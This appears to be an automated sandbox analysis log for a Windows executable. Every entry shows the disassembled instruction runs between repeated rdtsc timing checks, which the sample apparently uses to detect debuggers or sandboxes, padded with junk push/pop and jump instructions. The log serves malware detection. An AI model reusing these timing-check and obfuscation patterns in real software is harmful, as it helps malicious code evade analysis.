Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14E5364 second address: 14E538F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jbe 00007FF3B51FB94Fh 0x0000000d jng 00007FF3B51FB936h 0x00000013 jmp 00007FF3B51FB943h 0x00000018 push eax 0x00000019 push edi 0x0000001a pop edi 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14E54E6 second address: 14E54F2 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF3B4EE5406h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14E5648 second address: 14E5652 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF3B51FB936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14E5652 second address: 14E565A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14E565A second address: 14E565E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14E565E second address: 14E5662 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 148D774 second address: 148D791 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 jl 00007FF3B51FB93Eh 0x0000000f jne 00007FF3B51FB936h 0x00000015 push eax 0x00000016 pop eax 0x00000017 popad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c pop eax 0x0000001d rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 148D791 second address: 148D79F instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF3B4EE5406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 148D79F second address: 148D7A5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 148D7A5 second address: 148D7CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF3B4EE5419h 0x0000000d jp 00007FF3B4EE5406h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14E424E second address: 14E4253 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14EA868 second address: 14EA86C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14EA86C second address: 14EA872 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14EA872 second address: 14EA889 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007FF3B4EE540Eh 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14E95D0 second address: 14E95D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14E95D4 second address: 14E95F5 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF3B4EE5406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnc 00007FF3B4EE5417h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14E95F5 second address: 14E9616 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnl 00007FF3B51FB936h 0x00000009 pushad 0x0000000a popad 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF3B51FB941h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A443B second address: 14A4479 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B4EE5413h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov ecx, edi 0x0000000e lea eax, dword ptr [ebp+1247A1C5h] 0x00000014 mov edx, 56E479F3h 0x00000019 add edi, dword ptr [ebp+122D1B97h] 0x0000001f nop 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 jg 00007FF3B4EE5406h 0x00000029 jno 00007FF3B4EE5406h 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A4479 second address: 14A447F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A447F second address: 14A4483 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A467A second address: 14A4691 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF3B51FB943h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A4A9D second address: 14A4AAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b jp 00007FF3B4EE5406h 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A4B45 second address: 14A4B53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 ja 00007FF3B51FB936h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A538C second address: 14A53C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FF3B4EE540Ch 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jmp 00007FF3B4EE5417h 0x00000016 jng 00007FF3B4EE5406h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A57BE second address: 148D774 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FF3B51FB93Eh 0x0000000b popad 0x0000000c nop 0x0000000d jnl 00007FF3B51FB937h 0x00000013 lea eax, dword ptr [ebp+1247A1C5h] 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c call 00007FF3B51FB938h 0x00000021 pop eax 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 add dword ptr [esp+04h], 0000001Ch 0x0000002e inc eax 0x0000002f push eax 0x00000030 ret 0x00000031 pop eax 0x00000032 ret 0x00000033 mov ch, F5h 0x00000035 nop 0x00000036 push ebx 0x00000037 jnp 00007FF3B51FB93Ch 0x0000003d pop ebx 0x0000003e push eax 0x0000003f jng 00007FF3B51FB93Ch 0x00000045 pushad 0x00000046 pushad 0x00000047 popad 0x00000048 push esi 0x00000049 pop esi 0x0000004a popad 0x0000004b nop 0x0000004c jmp 00007FF3B51FB944h 0x00000051 call dword ptr [ebp+122D1CDDh] 0x00000057 pushad 0x00000058 ja 00007FF3B51FB94Fh 0x0000005e pushad 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14E9C5A second address: 14E9C64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FF3B4EE5406h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14E9C64 second address: 14E9C89 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF3B51FB936h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF3B51FB949h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14EA456 second address: 14EA472 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF3B4EE5417h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14EA472 second address: 14EA49F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF3B51FB942h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007FF3B51FB936h 0x00000012 jmp 00007FF3B51FB93Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14EBFD9 second address: 14EBFE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14EE4FB second address: 14EE502 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14EE038 second address: 14EE061 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FF3B4EE540Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FF3B4EE540Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 jc 00007FF3B4EE5406h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14EE061 second address: 14EE065 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14EE065 second address: 14EE069 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14EE069 second address: 14EE080 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007FF3B51FB93Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 146358E second address: 14635C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF3B4EE5416h 0x00000009 popad 0x0000000a pushad 0x0000000b jmp 00007FF3B4EE5415h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14F0E45 second address: 14F0E64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B51FB948h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14F0E64 second address: 14F0E6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14F0FBC second address: 14F0FC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14F1149 second address: 14F1154 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14F1154 second address: 14F115A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14F62B2 second address: 14F62BC instructions: 0x00000000 rdtsc 0x00000002 jg 00007FF3B4EE5406h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14F62BC second address: 14F62CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF3B51FB93Ah 0x0000000d rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14F54BA second address: 14F54BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14F54BE second address: 14F54EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007FF3B51FB94Ah 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 jg 00007FF3B51FB936h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14F54EB second address: 14F5533 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B4EE5410h 0x00000007 jmp 00007FF3B4EE5413h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007FF3B4EE540Eh 0x00000014 push eax 0x00000015 pop eax 0x00000016 jmp 00007FF3B4EE540Dh 0x0000001b push edx 0x0000001c pop edx 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14F5533 second address: 14F553D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FF3B51FB936h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14F5E0A second address: 14F5E0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14F5E0E second address: 14F5E12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14F5E12 second address: 14F5E31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push edx 0x0000000a pop edx 0x0000000b jmp 00007FF3B4EE5413h 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14FBEFE second address: 14FBF04 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14FA8FD second address: 14FA90C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ecx 0x00000007 jo 00007FF3B4EE540Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14FABBB second address: 14FABDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF3B51FB93Ah 0x00000009 jc 00007FF3B51FB936h 0x0000000f jmp 00007FF3B51FB93Bh 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14FABDB second address: 14FABFF instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF3B4EE5408h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pushad 0x0000000b jmp 00007FF3B4EE5417h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14FAEAF second address: 14FAEB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14FAEB5 second address: 14FAEBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A5163 second address: 14A516F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FF3B51FB93Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A516F second address: 14A51E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 jp 00007FF3B4EE5417h 0x0000000d ja 00007FF3B4EE5408h 0x00000013 popad 0x00000014 nop 0x00000015 or cl, FFFFFFE8h 0x00000018 mov ebx, dword ptr [ebp+1247A204h] 0x0000001e push 00000000h 0x00000020 push esi 0x00000021 call 00007FF3B4EE5408h 0x00000026 pop esi 0x00000027 mov dword ptr [esp+04h], esi 0x0000002b add dword ptr [esp+04h], 0000001Bh 0x00000033 inc esi 0x00000034 push esi 0x00000035 ret 0x00000036 pop esi 0x00000037 ret 0x00000038 mov edi, dword ptr [ebp+122D2DCEh] 0x0000003e add eax, ebx 0x00000040 add dword ptr [ebp+122D19E0h], edx 0x00000046 push eax 0x00000047 pushad 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007FF3B4EE5413h 0x0000004f rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A51E8 second address: 14A51F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A51F1 second address: 14A522A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push ebx 0x0000000a mov ecx, dword ptr [ebp+122D3711h] 0x00000010 pop edx 0x00000011 push 00000004h 0x00000013 nop 0x00000014 push eax 0x00000015 push eax 0x00000016 jbe 00007FF3B4EE5406h 0x0000001c pop eax 0x0000001d pop eax 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 jmp 00007FF3B4EE5416h 0x00000027 pop eax 0x00000028 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A522A second address: 14A5230 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14A5230 second address: 14A5234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14FF479 second address: 14FF47D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14FF47D second address: 14FF487 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FF3B4EE5406h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14FF487 second address: 14FF490 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14FF490 second address: 14FF4A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push esi 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a pop esi 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14FF4A1 second address: 14FF4A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14FF61A second address: 14FF61E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14FF784 second address: 14FF797 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push esi 0x00000009 pop esi 0x0000000a push edi 0x0000000b pop edi 0x0000000c jnc 00007FF3B51FB936h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14FF797 second address: 14FF7A9 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FF3B4EE5408h 0x00000008 jng 00007FF3B4EE540Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14FF7A9 second address: 14FF7B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 14FF7B5 second address: 14FF7D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF3B4EE540Ah 0x00000009 jl 00007FF3B4EE5406h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jnp 00007FF3B4EE5406h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1506185 second address: 15061B4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B51FB945h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ecx 0x0000000c jnl 00007FF3B51FB936h 0x00000012 push edi 0x00000013 pop edi 0x00000014 pop ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 jc 00007FF3B51FB936h 0x0000001d push ecx 0x0000001e pop ecx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1506629 second address: 1506640 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FF3B4EE5406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d jns 00007FF3B4EE5406h 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1506BF3 second address: 1506C10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B51FB947h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1506C10 second address: 1506C15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1506C15 second address: 1506C43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FF3B51FB936h 0x0000000a jp 00007FF3B51FB936h 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 jmp 00007FF3B51FB941h 0x00000019 push eax 0x0000001a jns 00007FF3B51FB936h 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1506F68 second address: 1506F7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF3B4EE5410h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1506F7C second address: 1506F80 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1506F80 second address: 1506F86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1506F86 second address: 1506FB0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF3B51FB940h 0x00000007 push edi 0x00000008 push edx 0x00000009 pop edx 0x0000000a jne 00007FF3B51FB936h 0x00000010 pop edi 0x00000011 pop edx 0x00000012 pop eax 0x00000013 jnp 00007FF3B51FB950h 0x00000019 push eax 0x0000001a push edx 0x0000001b push esi 0x0000001c pop esi 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\NVkyG9HAeY.exe	RDTSC instruction interceptor: First address: 1506FB0 second address: 1506FB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
